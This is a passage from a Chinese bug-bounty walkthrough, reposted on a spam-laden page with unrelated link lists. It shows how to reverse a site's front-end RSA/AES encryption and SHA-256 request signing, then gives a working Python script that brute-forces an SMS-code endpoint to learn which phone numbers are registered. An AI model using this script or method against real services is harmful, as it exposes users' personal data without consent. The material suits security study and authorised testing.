当前位置: 首页 > news >正文

阆中市网站建设服务推广赚钱平台有哪些

阆中市网站建设服务,推广赚钱平台有哪些,网站开发与设计,丹徒网站建设公司前言 本文并非密码向#xff0c;不会对算法过程/代码逻辑进行具体阐述#xff0c;因为这没有意义#xff0c;实战的时候肯定是具体问题具体分析#xff0c;所以了解个大致流程就行。 在挖洞过程中#xff0c;很容易找到一些登录/忘记密码是手机验证码验证的站#xff0c;… 前言 本文并非密码向不会对算法过程/代码逻辑进行具体阐述因为这没有意义实战的时候肯定是具体问题具体分析所以了解个大致流程就行。 在挖洞过程中很容易找到一些登录/忘记密码是手机验证码验证的站有些站对发送验证码这一环节并未做太多的限制理论上可以借助这个漏洞进行爆破从而得出数据库内所有已注册手机号这也算一种信息泄露。这种洞十分好挖对技术要求不高很适合SRC入门 如果站点在请求的时候存在前端加密大概都是常规的AES或RSA(比如以前的京东/B站)。所以写篇文章整理下思路。 寻源 前几天挖洞的时候就看到个发送验证码的 先跑一百个请求对发包没有做什么限制说明有门 但问题来了请求体是这样的明显进行了前端加密要想爆破还得先找出加密逻辑。 打开F12,发现控制台在输出东西 编辑搜图 再看资源文件chunk文件加上index那直接去找index.js文件即可。 编辑搜图 然后就是要找到具体位置了c0ny1表哥给出了一些好办法详情见快速定位前端加密方法 可惜在这个站上不怎么好使只能慢慢找了。 一般前端加密都是用JSEncrypt库的所以可以试试搜一些jsencrypt相关的方法名如setPublicKey、encrypt等 若压缩过的代码看得太累可以试试用http://jsnice.org/美化下。 不要手撕js会变得不幸。 首先打开F12,点开源代码点个js文件之后再点下左下角的美化按钮 代码就变得好看多了 尝试性的搜了下encrypt位置大概就被我找到了。 这里有很多个函数如encodeRSA、decodeRSA、getKeyRSADefault、encodeAES、decodeAES、getKeyAES、signature这种函数名可以说是再明显不过的提示了。 分析 经过不眠不休的折磨我逐渐理解了一切。 0.DEMO 先了解一下JSEncrypt库十分简单 import JSEncrypt from jsencrypt//加密 var encryptor new JSEncrypt() var pubKey -----BEGIN PUBLIC KEY-----公钥-----END PUBLIC KEY----- encryptor.setPublicKey(pubKey)//设置公钥 var rsaPassWord encryptor.encrypt(要加密的内容)//解密 var decrypt new JSEncrypt() var priKey   -----BEGIN RSA PRIVATE KEY-----私钥-----END RSA PRIVATE KEY---- decrypt.setPrivateKey(priKey)//设置秘钥 var uncrypted decrypt.decrypt(要解密的内容)//解密之前拿公钥加密的内容 1.RSA 首先在疑似RSA加密的位置的结尾下个断点 为什么要在结尾大概思路是不去关心这个函数的具体逻辑因为太费劲由结果推过程直接看代码运行结束后那些参数以及返回值以此结合所学知识/经验去推断这个函数的作用。 我们不是来做密码题的我们只是来挖洞的。 然后会发现右边有一大堆参数。 好再看encodeRSA函数已知n为0该函数有用的部分就变成这样了 而s[JSEncrypt]很明显是JSEncrypt库的JSEncrypt对象,那将代码整理一下就是 function() {o new JSEncrypt();o.setPublicKey(a);return o.encrypt(t) } 看其实就是普通的RSA加密 而且RSA公钥也给了就是参数a 然后加密字符串参数t其值为PHVDHENXNREOEVON。这个值是网页在加载的时候就执行getKeyAES函数得出的结果。 在F12的控制台中执行一下能够输出相似的结果。 JSEncrypt的默认RSA加密机制是RSAES-PKCS1-V1_5而且还会进行base64编码。 扔到CyberChef先放着待会有用。 加密完了该尝试解密了。解密需要私钥。一般前端加密公钥都会直接放到JS里如果需要解密那私钥也可能放这。 随便看了下公钥和私钥就在下面比较了下这个公钥和之前断点跑出的公钥也对的上。 这样就可以解密了。 2.AES 接下来就是AES同样的下个断点看结果。 能够发现参数e是输入的值参数t的值和之前那个值一模一样,同时也是需要加密的字符串。 而且AES相关参数也给出了 初始向量1234567812345678CBC模式zeropadding填充。 AES的话CyberChef没有padding相关选项运算结果末位有所不同所以用另一个表哥写的工具https://github.com/Leon406/ToolsFx 解码的话也是一样毕竟是对称加密。 3.SHA-256 SHA-2名称来自于安全散列算法2(Secure Hash Algorithm 2)的缩写一种密码散列函数算法标准,属于SHA算法之一是SHA-1的后继者。其下又可再分为六个不同的算法标准包括了SHA-224、SHA-256、SHA-384、SHA-512、SHA-512/224、SHA-512/256 这里就是最后的波纹了也是最复杂的地方。 还是一样的思路但由于输入的参数不好猜于是我在同一行加了好多个断点去看参数变化这是一个非常好滴技巧如下图所示每个蓝色三角形就是断点。 在这能发现这段代码的意思就是将e组合起来键值对加等号且再用逗号相连变成字符串n。 之后又将字符串n进行了相关处理去掉逗号空格啊加上括号啊最后输出格式如下 {clientIdP_AIAS_ROS, encodeKeyGqdPQJptPlZctYZtEBo0MDTD7TntMDsrN3ATv5SC/WScxyhpYu/WoQsI0u42eDphmlhuHYWA6rPbWlcDYfyrHN8HWrrzHeX7aiQh9Hnb1iR//I3abF4Td641b1SeeYdU3aloc3ScaS8CbVARKiM9g27R8CKk8Dbekb6lMEk, requestDataCy8UWBCz0dwJUBQ1u5BJr1jxicrnJ6YnrwchucXDanOVdV8Pp3rn1Uq35FB3pR7I, requestId1647409240148, secrettest, timestamp20220316014040}好接下来来验证一下 这是返回值89a6716fb3958c180837569a4a50a093a2bfa0ab6763a3b439a05b78e80d38f9 输出结果对的上说明没错 看着下图的请求体最后总结一下。 1.在网页加载的时候先获取一个长度16的AES KEY然后对这个AES KEY进行RSABase64加密结果为encodeKey 2.将{phone:13888888888,smsCode:}这个格式的字符串根据AES KEY进行AESBase64加密结果为requestData 3.clientId、requestId、timestamp不影响。这三个参数并未参与密码运算可以任意更改。 4.将所有参数融合进行SHA256加密来签名。 爆破 分析完毕那么接下来就可以开始爆破了。 接下来有两种做法 1.写Python代码。因为思路以及理清且加密逻辑简单可以直接手搓。 2.写JavaScript代码配合c0ny1表哥的插件https://github.com/c0ny1/jsEncrypter。 在这里我选择1具体代码如下 import hashlib import urllib3 import requests import base64 from Crypto.Cipher import AESurllib3.disable_warnings()# aes的key和初始向量 key PHVDHENXNREOEVON vi 1234567812345678 url headers {Sec-Ch-Ua: \ Not A;Brand\;v\99\, \Chromium\;v\98\, \Google Chrome\;v\98\,Accept: application/json, text/plain, */*, Content-Type: application/json;charsetUTF-8,Sec-Ch-Ua-Mobile: ?0,User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36,Token: undefined, Sec-Ch-Ua-Platform: \Windows\,Sec-Fetch-Site: same-origin, Sec-Fetch-Mode: cors, Sec-Fetch-Dest: empty,Accept-Encoding: gzip, deflate,Accept-Language: zh-CN,zh;q0.9, Connection: close}def AES_Encrypt(data):global keyglobal vipad lambda s: s (16 - len(s) % 16) * chr(0)data pad(data)# 字符串补位cipher AES.new(key.encode(utf8), AES.MODE_CBC, vi.encode(utf8))encryptedbytes cipher.encrypt(data.encode(utf8))# 加密后得到的是bytes类型的数据encodestrs base64.b64encode(encryptedbytes)# 使用Base64进行编码,返回byte字符串enctext encodestrs.decode(utf8)# 对byte字符串按utf-8进行解码return enctextdef AES_Decrypt(data):global keyglobal vidata data.encode(utf8)encodebytes base64.decodebytes(data)# 将加密数据转换位bytes类型数据cipher AES.new(key.encode(utf8), AES.MODE_CBC, vi.encode(utf8))text_decrypted cipher.decrypt(encodebytes)text_decrypted text_decrypted.rstrip(b\0)# 去补位text_decrypted text_decrypted.decode(utf8)return text_decrypteddef sha256(text):return hashlib.sha256(text.encode()).hexdigest()phone_list [] with open(test-phone.txt, r, encodingutf8) as f:for i in f:phone_list.append(i.strip())for i in phone_list:requestsData AES_Encrypt({phone:%s,smsCode:} % i)encodeKey lFd5OEc6BEDbh/KA/JiYNOG1xoQY3GgwS8HAjWAVUt19zxXEzjvtice8EZapgHY0HqyEUaZT6lLFTXHfmJ0qXLyPLVzf01yQ0UMIWYQOHPyDygm4JXW/7OBO1dpb3uTjo0MF0YO0U3LFLfNHvbqByeXgj1vmswlrNSQMmRgmwsign_exp {clientId1, encodeKey%s, requestData%s, requestId1, secrettest, timestamp1} % (encodeKey, requestsData)sign sha256(sign_exp)json {clientId: 1,encodeKey: encodeKey,requestData: requestsData, requestId: 1,sign: sign, timestamp: 1}res requests.post(url, headersheaders, jsonjson, verifyFalse)try:result AES_Decrypt(res.text.strip())if 该手机号未查询到用户 in result:print(未注册 i)else:print(查询到了 i)except Exception as e:print(e)print(res.text)exit() 代码中我保持encodeKey不变这样意味着AES KEY不变爆破代码就可以不用写RSA相关了。 因为返回的值长这样也是一个AES加密所以写了个AES_Decrypt函数用于解密返回包。 这种爆破手机号的洞我也尝试去投了两个到CNVD一个归档一个驳回打个信息泄露擦边球着实难以界定。 更多靶场实验练习、网安学习资料请点击这里
http://www.dnsts.com.cn/news/196204.html

相关文章:

  • 网站建设的看法有哪些品牌网站建设的要点
  • 网站建设 每年收费烟台注册公司
  • 做网站的需要哪些职位山东聊城建设学校怎么样
  • 昆明网站建设搭建网站页面组成
  • 什么APP可以做网站专业的vi设计企业
  • 提供网站制作公司地址移动端网站怎么做seo
  • 聊天网站站怎么做专业网站建设常州
  • wordpress新站都该设置些什么政务网站队伍建设情况汇报
  • 佛山网站建设优势松江公司做网站
  • 自己做的网站上出现乱码怎么修改故乡网站开发的意义
  • 兰州企业网站建设多少钱简单的商城的网页设计作业
  • 网站开发后台用什么语言合肥住房和城乡建设局
  • 威县做网站哪家便宜wordpress伪静态规则文件
  • php公司网站app开发用什么软件
  • 淄博北京网站建设wordpress+添加版权
  • 福州工程建设信息网站电商主要是做什么
  • 温州建设工程网站施工企业安全团建小游戏
  • 郑州网站建设修改wordpress媒体库修改文件名
  • 黄冈做网站的公司百度手机助手
  • 基于云平台网站群建设square wordpress
  • 网站设计实验目的iis默认网站打不开
  • 网站开发最重要的技巧网站开发超速云
  • 南京一对一网站建设销售网站建设的短文
  • 电商网站商品表设计方案百度指数峰值查询
  • 梧州网站建设电话wordpress多语言主题
  • 网站建设注意事情百度提交链接
  • 网站建设服务费记账分录好乐买网站推广方式
  • 卖手表的网站唐山软件开发公司排名
  • 门户网站优化方案义乌商城网站开发
  • xp怎么做网站wordpress 动态文字